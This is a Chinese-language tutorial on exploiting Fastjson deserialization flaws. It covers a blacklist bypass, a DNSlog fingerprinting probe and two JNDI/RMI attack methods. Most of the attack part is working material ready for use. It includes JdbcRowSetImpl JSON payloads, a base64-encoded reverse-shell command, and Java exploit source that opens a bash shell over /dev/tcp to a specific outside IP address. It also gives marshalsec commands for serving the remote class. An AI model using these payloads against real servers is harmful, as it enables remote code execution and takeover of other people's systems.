简介
*Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串, 支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。
*后面阿里采用黑名单形式抵御反序列化漏洞,所以之后的payload都是集中在如何绕过黑名单。
反序列化漏洞利用
*采用双写L和双写;方式利用。如:LLcom.sun.rowset.JdbcRowSetImpl;;
框架识别
*content-type 请求头带有json字样(因为框架作用就是给json数据做打包和解析)
*post错误json数据,利用报错回显
*dnslog解析,post数据{
"name":{
"@type":"java.net.InetAddress",
"val":"mingy.qydzoe.dnslog.cn"
}
}
漏洞利用
-
JNDI注入 + RMI
*JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
RMI (JAVA远程方法调用),当攻击机启动这个服务后,burp漏洞利用时可以触发访问这个服务。 - 方法一:
*使用工具 jndi_tool.jar 在攻击机上启动 RMI server
java -cp jndi_tool.jar jndi.HRMIServer 150.158.137.72 9999 "要执行的命令"
或反弹 shell 命令
java -cp jndi_tool.jar jndi.HRMIServer 150.158.137.72 9999 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjEzNy43Mi85OTk4IDA+JjE=}|{base64,-d}|{bash,-i}"
*注意:9999端口是攻击机上rmi服务的,而反弹shell里面语句的端口是9998,也就是 说,攻击机需要监听此端口
*攻击机器使用nc开启端口监听后,使用burp发送payload,对攻击机上的rmi服务发起攻击
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://150.158.137.72:9999/Object",
"autoCommit":true
}
}
*payload执行完后,会在攻击机上返回一个shell
*捋一遍思路:先在攻击机开启rmi执行反弹shell,再在攻击机开启端口监听,最后, burp执行payload
- 方法二:
*首先,构造exp文件 Exploit.java//javac Exploit.java import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/150.158.137.72/9998 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
使用命令 javac Exploit.java 编译此文件为class文件
maven打包marshalsec项目成jar包。mvn clean package -DskipTests
攻击机上开启python的web服务(8000)
攻击机上借助marshalsec项目启动一个rmi服务器,监听一个端口(9999),并指定加载远程类 Exploit.classjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://150.158.137.72:8000/#Exploit" 9999
*攻击机burp使用payload进行攻击
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://150.158.137.72:9999/Exploit", "autoCommit":true } }